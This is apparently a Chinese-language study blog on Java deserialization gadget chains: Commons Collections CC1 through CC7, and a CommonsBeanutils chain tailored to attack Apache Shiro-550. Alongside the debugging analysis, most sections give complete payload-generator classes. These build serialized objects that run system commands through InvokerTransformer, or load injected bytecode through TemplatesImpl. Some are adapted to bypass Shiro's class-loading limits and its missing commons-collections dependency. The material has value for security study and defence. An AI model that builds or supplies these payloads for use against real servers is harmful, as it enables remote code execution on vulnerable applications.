与其说是学习分析记录,不如说是”Java安全漫谈”系列文章中有些没有分析到的点以及需要注意的点。推荐所有学JavaSec的,无论是老手还是新手,都需要看一看代码审计知识星球中的“Java安全漫谈“。
package org.vulhub.Ser;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a Calculator" } ), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("test" , "xxxx" ); } }
如上是java安全漫谈中的代码,其中put是触发这个Transformer链的,进入put函数可以发现,调用transformValue方法。
跟进发现依次调用了valueTransformer链的transform方法。这个valueTransformer就是调用TransformedMap.decorate来的。
0x02.CC1链中构造payload问题 这个问题是java安全漫谈中记录的:
sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X ;
被 TransformedMap.decorate修饰的Map中必须有一个键名为X的元素;
对于第二点只有针对TransformedMap,而不是LazyMap,因为两个Map触发执行Transformer链的地方不一样嘛,当然前提是java版本在jdk 8u71之前。
首先是关于子类的问题,如下是通过反射构造AnnotationInvocationHandler实例,对于type变量传入了Retention.class。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true ); Object obj = construct.newInstance(Retention.class, outerMap);
需要传入这个class类型是因为在反序列化时会对反序列化后的type进行检查,如果type不是一个合法的注解类型,则抛出IllegalArgumentException错误。无法往下触发setValue。
Retention是一个interface,存在一个value方法。
返回到readObject,其中调用到了memberTypes方法,方法会返回一个Map,里面包含了该注解中定义的所有方法的方法名及其返回值类型。
如下Map对象key为方法名value,value为方法返回类型java.lang.annotation.RetentionPolicy。
然后传入的恶意序列化Map对象需要有一个同名的元素即key为value,原因是在readObject函数中有如下判断,恶意序列化Map对象如果存在value key则var6为value,下面var3.get("value")即不为NULL,能够执行setValue函数,否则setValue不会被执行,Transform链不会执行。
0x03.8u71上CC1链无法运行 在此java版本之后,AnnotationInvocationHandler的readObject方法如下,首先使用一个局部变量在获取memberValues,这种情况即使进入动态代理的invoke方法也不会触发LazyMap链。其次新建了一个LinkedHashMap对象,并将原来的键值添加进去了,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来精心构造的Map不再执行set或put操作,也就不会触发RCE了。
private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { ObjectInputStream.GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type" , (Object)null ); Map var4 = (Map)var2.get("memberValues" , (Object)null ); Object var5 = null ; try { var14 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var6 = var14.memberTypes(); LinkedHashMap var7 = new LinkedHashMap (); for (Map.Entry var9 : var4.entrySet()) { String var10 = (String)var9.getKey(); Object var11 = null ; Class var12 = (Class)var6.get(var10); if (var12 != null ) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy (var11.getClass() + "[" + var11 + "]" )).setMember((Method)var14.members().get(var10)); } } var7.put(var10, var11); } AnnotationInvocationHandler.UnsafeAccessor.setType(this , var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this , var7); }
所以后续CC6这条链子解决在8u71上无法运行的问题。
0x04.CC6注意点 CC6解决的就是在8u71上无法运行的问题,这条链不在用AnnotationInvocationHandler的readObject,需要注意一点就是在构造最终HashMap对象,调用了put函数,这个函数往下会调用到恶意LazyMap对象的get方法,这个时候会向Map添加一个元素,如果不进行remove处理,反序列化时不会调用Transformer链,所以put之后需要在进行remove:
TiedMapEntry tme = new TiedMapEntry (outerMap, "shit1" );Map expMap = new HashMap ();expMap.put(tme, "shit2" ); outerMap.remove("shit1" );
InstantiateTransformer的transform方法如下,功能就是利用反射调用input Class的构造方法,CC3中就是TrAXFilter.class。
public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
所以在构造的Transformer链就如下:
Transformer[] transforms = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{ Templates.class }, new Object []{ obj }) };
然后TrAXFilter的构造方法中调用到了newTransformer,触发TransletClassLoader#defineClass加载字节码。需要注意的是下面的这个调用链只有前面两个方法的作用域是public。
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
CC3这一条链子最初其实就是为了规避类似SerialKiller这类工具的过滤(如invokeTransformer)。
但是很显然如果还是用AnnotationInvocationHandler的readObject在jdk 8u71上依旧无法成功运行这条链子。如果用CC6即HashMap的readObject那条链子是不受jdk版本限制的。
0x06.CC6直接打Shiro550报错 报错信息如下:
定位到报错的ClassResolvingObjectInputStream#resolveClass,此方法重载了父类ObjectInputStream#resolveClass,两个方法对比如下:
@Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException ("Unable to load ObjectStreamClass [" + osc + "]: " , e); } } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } } }
区别就是前者用的是org.apache.shiro.util.ClassUtils#forName ,其实底层是org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ,而后者用的是Java原生的Class.forName。
在异常捕捉位置下个断点,出异常时加载的类名为[Lorg.apache.commons.collections.Transformer;,即为org.apache.commons.collections.Transformer的数组。
在java安全漫谈中给出的结论是:”如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误“。数组在JVM内部用 [ 开头描述符表示,Java自身的数组我的理解是Java基本类型数组,另一种则是引用类型数组,基本类型数组则是指int[]、boolean[]等等,引用类型数组则是[L<全限定名>;表示”该引用类型的数组”,L = reference/object 类型,例如刚刚的[Lorg.apache.commons.collections.Transformer;。
进入org.apache.catalina.loader.ParallelWebappClassLoader#loadClass 后,resolveClass调试到出现异常的osc的name字段为[Lorg.apache.commons.collections.Transformer;时,进入ClassUtils.forName。调试到关键函数WebappClassLoaderBase#findClassInternal。
name首先经过了WebappClassLoaderBase#binaryNameToPath转化,得到/[Lorg/apache/commons/collections/Transformer;.class。然后在内存Map缓存ResourceEntry中找到是否有这个path,但是ResourceEntry是没有的。
在调用StandardRoot#getClassLoaderResource,此函数中会对name进行一次拼接得到/WEB-INF/classes/[Lorg/apache/commons/collections/Transformer;.class,然后作为第一个参数进入StandardRoot#getResource,后面进入一个关键的StandardRoot#getResourceInternal函数,这里是在按Tomcat按优先级(pre→main→classes→jars→post)在webapp所有资源层里找一个文件的核心循环:找到就立即返回真实资源,全找不到就返回一个非null的”空资源占位”即EmptyResource。查找的位置包括”webapp根目录 + WEB-INF/classes + 每个WEB-INF/lib的jar“,显然是找不到的。
第三方普通类,不是数组类就会在这里进行加载。
protected final WebResource getResourceInternal (String path, boolean useClassLoaderResources) { WebResource result = null ; WebResource virtual = null ; WebResource mainEmpty = null ; for (List<WebResourceSet> list : this .allResources) { for (WebResourceSet webResourceSet : list) { if (!useClassLoaderResources && !webResourceSet.getClassLoaderOnly() || useClassLoaderResources && !webResourceSet.getStaticOnly()) { result = webResourceSet.getResource(path); if (result.exists()) { return result; } if (virtual == null ) { if (result.isVirtual()) { virtual = result; } else if (this .main.equals(webResourceSet)) { mainEmpty = result; } } } } } if (virtual != null ) { return virtual; } else { return mainEmpty; } }
最后由于return了一个EmptyResource,exists函数直接返回false了。
这里没找到,后续在通过Class.forName加载这个非引用数组类。使用的ClassLoader为URLClassLoader。
最后在URLClassLoader#findClass抛出第二次ClassNotFoundException异常,这里找不到是因为ucp,这个ucp其实就是URLClassLoader,ucp具体存在的值如下:
$CATALINA_HOME/lib/*.jar(Tomcat自身运行需要的jar)
JDK自带的类
WEB-INF/lib/commons-collections-3.2.1.jar不在ucp里,父加载器单向看不到子应用的lib,所以当调用父的findClass时,ucp没有这个jar。this是WebappClassLoader(webapp加载器),this.parent是Tomcat 全局共用的类加载器(父加载器),这涉及到Java双亲委派模型,父看不到 WEB-INF/lib/ 里的任何jar。
而Java 自身数组(如 [Ljava.lang.String;):组件类 java.lang.String 在JDK里,而父加载器的 ucp(URL 清单)包含 JDK ,所以父能加载 ,数组类被合成,不会报错。
0x07.构造无数组类Payload打Shiro550 可以注意到触发Transformer链执行的LazyMap#get方法,其中的key参数是一直没用到的。
那么可以结合CC3中执行字节码的payload是这样构造的:
Transformer[] transforms = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{ Templates.class }, new Object []{ obj }) };
不能存在数组类,并且需要去除ConstantTransformer,那么就需要使用到LazyMap#get的key参数,具体payload如下。TrAXFilter.class会作为参数进入InstantiateTransformer#transform进入执行其构造方法,从而执行TransformerImpl链,这样其实就和上面存在ConstantTransformer的payload是一样的。
public class MyCommonsCollectionsShiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload() throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWCQAXABgIABkKA......" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer fakeTransformer = new ConstantTransformer (1 ); Transformer trueTransformer = new InstantiateTransformer (new Class []{ Templates.class }, new Object []{ obj }); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, fakeTransformer); TiedMapEntry tme = new TiedMapEntry (outerMap, TrAXFilter.class); Map expMap = new HashMap (); expMap.put(tme, "shit2" ); outerMap.remove(TrAXFilter.class); Field field = LazyMap.class.getDeclaredField("factory" ); field.setAccessible(true ); field.set(outerMap, trueTransformer); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); byte [] bytes = barr.toByteArray(); return bytes; } }
构造完后,我看了一下java安全漫谈中构造的,和我的不完全一样,其中用的还是CC6的方法,将TemplatesImpl对象作为key参数传入到InvokerTransformer#transform方法,然后调用TemplatesImpl#newTransformer,明显要简单一点,更推荐这个 。
public class CommonsCollectionsShiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry (outerMap, obj); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }
0x08.CC2 这条链子很简单,用到了一个新的类java.util.PriorityQueue,Gadget如下:
PriorityQueue#readObject() ==> PriorityQueue#heapify() ==> PriorityQueue#siftDown() ==> PriorityQueue#siftDownUsingComparator ==> TransformingComparator#compare
需要注意的是PriorityQueue需要add两个以上元素,否则调用不到PriorityQueue#siftDown()
PriorityQueue queue = new PriorityQueue (2 , transformingComparator);queue.add(1 ); queue.add(2 );
如果在Shiro550中使用,payload如下:
public class CommonsCollections2TemplatesImpl { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWCQAXABgIABkKABoAGwoAHA......" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("toString" , null , null ); Comparator transformingComparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , transformingComparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
存在恶意字节码的TemplatesImpl对象将在TransformingComparator#compare方法作为参数进入InvokeTransformer#transform 。
之前学习的CC1、CC3、CC6的组件都是commons-collections:commons-collections:3.1,而CC2的组件是org.apache.commons:commons-collections4:4.0,前面三条链子其实都是可以在4.0上打通的,只是有个别方法名要改罢了,但是CC2这一条链子在3.1上是打不通的,因为这一版本上的TransformingComparator类没有实现Serializable接⼝的,⽆法在序列化中使⽤。
0x09.CommonsBeauitls与Shiro550 使用的包是Shrio中自带的,也不难,同样利用java.util.PriorityQueue#readObject调用到org.apache.commons.beanutils.BeanComparator#compare方法。
public int compare ( Object o1, Object o2 ) { if ( property == null ) { return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException ( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException ( "NoSuchMethodException: " + nsme.toString() ); } }
利用PropertyUtils#getProperty调用TemplatesImpl#getOutputProperties,从而调用加载字节码的那条链子。payload如下:
public class CommonsBeanutils { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQALw......" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object obj1 = (Object) ois.readObject(); } }
唯一需要注意的点是,BeanComparator的property属性值设置的值不是getOutputProperties去掉get得到的OutputProperties,传入的值首字母需要小写。
用这个打有CommonsCollections坏境的Shiro550是能打成功的。
按刚才分析的,如果Shiro550不存在CommonsCollections,这条链子应该也可以直接打通的。现实情况是,Tomcat控制台抛出了错误。
具体情况就是找不到来自CommonsCollections包的org.apache.commons.collections.comparators.ComparableComparator。
Java安全漫谈中具体描述是:
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
在BeanComparator很容易定位到哪里使用了ComparableComparator这个类,具体是在两个有参构造方法中,那么很显然readObject在还原对象的时候调用构造方法就g了。
所以我门需要走第二个构造方法,this.comparator不为null。这种情况下需要使用到另一个类CaseInsensitiveComparator,其为java.lang.String类下的一个内部私有类,实现了Comparator和Serializable接口,很完美。
public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator (); private static class CaseInsensitiveComparator implements Comparator <String>, java.io.Serializable { private static final long serialVersionUID = 8575799808933029326L ; public int compare (String s1, String s2) { int n1 = s1.length(); int n2 = s2.length(); int min = Math.min(n1, n2); for (int i = 0 ; i < min; i++) { char c1 = s1.charAt(i); char c2 = s2.charAt(i); if (c1 != c2) { c1 = Character.toUpperCase(c1); c2 = Character.toUpperCase(c2); if (c1 != c2) { c1 = Character.toLowerCase(c1); c2 = Character.toLowerCase(c2); if (c1 != c2) { return c1 - c2; } } } } return n1 - n2; } private Object readResolve () { return CASE_INSENSITIVE_ORDER; } }
这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,可以通过String.CASE_INSENSITIVE_ORDER拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator。
最终Payload如下:
public class MyFinalCommonsBeanutils { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload() throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQALwoAC......" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } }
除CaseInsensitiveComparator类之外,应该是还有很多类可用的,例如java.util.Collections$ReverseComparator。
0x0A.JDK 7u21原生反序列化链 下一章节是分析了JDK版本7u21的一条原生反序列化链,先暂时跳过。
0x0B.剩余CC链 在Java安全漫谈中,剩余CC4、CC5、CC7没有分析到,简单记录下这三条链子的原理吧。
CC4针对的组件版本也为org.apache.commons:commons-collections4:4.0。这条链子就是CC2和CC3的结合,反序列化执行transfromed链用到了CC2的java.util.PriorityQueue,触发TemplatesImpl#newTransformer用到了CC3中的InstantiateTransformer执行TrAXFilter的构造方法,所以Payload如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CommonsCollections4 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWC......" ); TemplatesImpl obj = TemplatesImpl.class.newInstance(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "name" ); setFieldValue(obj, "_class" , null ); Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transforms = new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{ Templates.class }, new Object []{ obj }) }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); TransformingComparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(transformerChain, transforms); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); byte [] bytes = barr.toByteArray(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes)); Object obj2 = ois.readObject(); } }
CC5中用到了一个新的Class,名为javax.management.BadAttributeValueExpException,其readObject方法会调用valObject#toString方法,而这个valObj是通过val对应的Object。
那么如果是org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法呢?会调用getValue,那么剩下的就和CC3一样了。
Payload如下:
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;public class CommonsCollections5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] {"open -a Calculator" }), }; Transformer transformerChain = new ChainedTransformer (transformers); HashMap innermap = new HashMap (); LazyMap map = (LazyMap)LazyMap.decorate(innermap, transformerChain); TiedMapEntry execMap = new TiedMapEntry (map,1 ); BadAttributeValueExpException bve = new BadAttributeValueExpException (1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(bve, execMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(bve); oos.close(); byte [] bytes = barr.toByteArray(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes)); Object obj2 = ois.readObject(); } }
调试的时候其实能够发现序列化的时候会弹个计算器,反序列化的时候执行完gf.get("val", null);也会弹个计算器,后者在Java安全漫谈中说过:“在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。”。
CC7用到了java.util.Hashtable的readObject方法,反序列化过程中会对Key和Value依次反序列化然后进入reconstitutionPut方法。
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new StreamCorruptedException ("Illegal Load: " + loadFactor); int origlength = s.readInt(); int elements = s.readInt(); if (elements < 0 ) throw new StreamCorruptedException ("Illegal # of Elements: " + elements); origlength = Math.max(origlength, (int )(elements / loadFactor) + 1 ); int length = (int )((elements + elements / 20 ) / loadFactor) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; length = Math.min(length, origlength); if (length < 0 ) { length = origlength; } SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length); table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
在此方法中,会检查刚刚从流里读出来的key,是否和已经放入哈希表中的key重复。判断来源则是key的hahs值。如果不存在相同的则用头插法插入新节点。
如果某个元素的hash值和之前已经插入相同,如果我们的key是一个LazyMap对象呢?就会调用org.apache.commons.collections.map.AbstractMapDecorator#equals方法。
继续调用java.util.AbstractMap#equals方法,调用了LazyMap#get,触发Transformer链执行。
Payload如下,构造Payload之后,需要lazyMap2.remove("yy"),原因是构造payload执行put过程中也会调用equals方法触发LazyMap#get,导致反序列化时无法执行到Transformer链。
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.*;public class CommonsCollections7 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformer = new Transformer [] {new ConstantTransformer (3 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] {"open -a Calculator" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformer); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field field = transformerChain.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(transformerChain, transformers); lazyMap2.remove("yy" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(hashtable); oos.close(); byte [] bytes = barr.toByteArray(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes)); Object obj2 = ois.readObject(); } }
此链利用前提就是Hashtable的两个元素的key值(LazyMap对象一致)的hash值一致(hash碰撞)。构造如下,两个LazyMap对象的key值和value值的hash值都一致。
lazyMap1.put("yy" , 1 ); lazyMap2.put("zZ" , 1 );
如果像上面这个构造,那么需要被替换的fakeTransformer就不能像下面这样构造,因为fakeTransformer返回的值1与LazyMap1中预设的值1相同,导致在构造Hashtable时,两个LazyMap被判定为相等,最终 Hashtable 中只存入了一个元素。
Transformer[] fakeTransformer = new Transformer [] {new ConstantTransformer (1 )};
具体原因如下,当执行hashtable.put(lazyMap2, 2)时:
Hash 碰撞:在Java中,字符串yy和zZ的hashCode(是相等的(都是3872)。因此,lazyMap1.hashCode和 lazyMap2.hashCode也会相等;
触发equals比较:因为Hash碰撞,Hashtable会调用lazyMap1.equals(lazyMap2)进行比较。
AbstractMap#equals的逻辑:LazyMap继承自AbstractMap。equals方法首先会判断两个Map的size是否相等。此时lazyMap1 size为1,lazyMap2 size也为1,继续比较;
触发LazyMap#get方法:equals方法接着会遍历lazyMap1的元素,去lazyMap2中查找对应的键:lazyMap2.get("yy");
触发fakeTransformer:因为lazyMap2中没有yy,LazyMap的机制被触发,调用fakeTransformer去构造一个值。由于 fakeTransformer是new ConstantTransformer(1),它返回了1。
比较结果为true:lazyMap1中yy的值是 1,lazyMap2.get("yy")返回的也是1。因此1.equals(1)为true。equals方法最终返回 true。
Hashtable认为lazyMap2和lazyMap1是同一个 Key,于是hashtable中只保存了lazyMap1。并且也解释了,为什么最后需要调用lazyMap2.remove("yy")。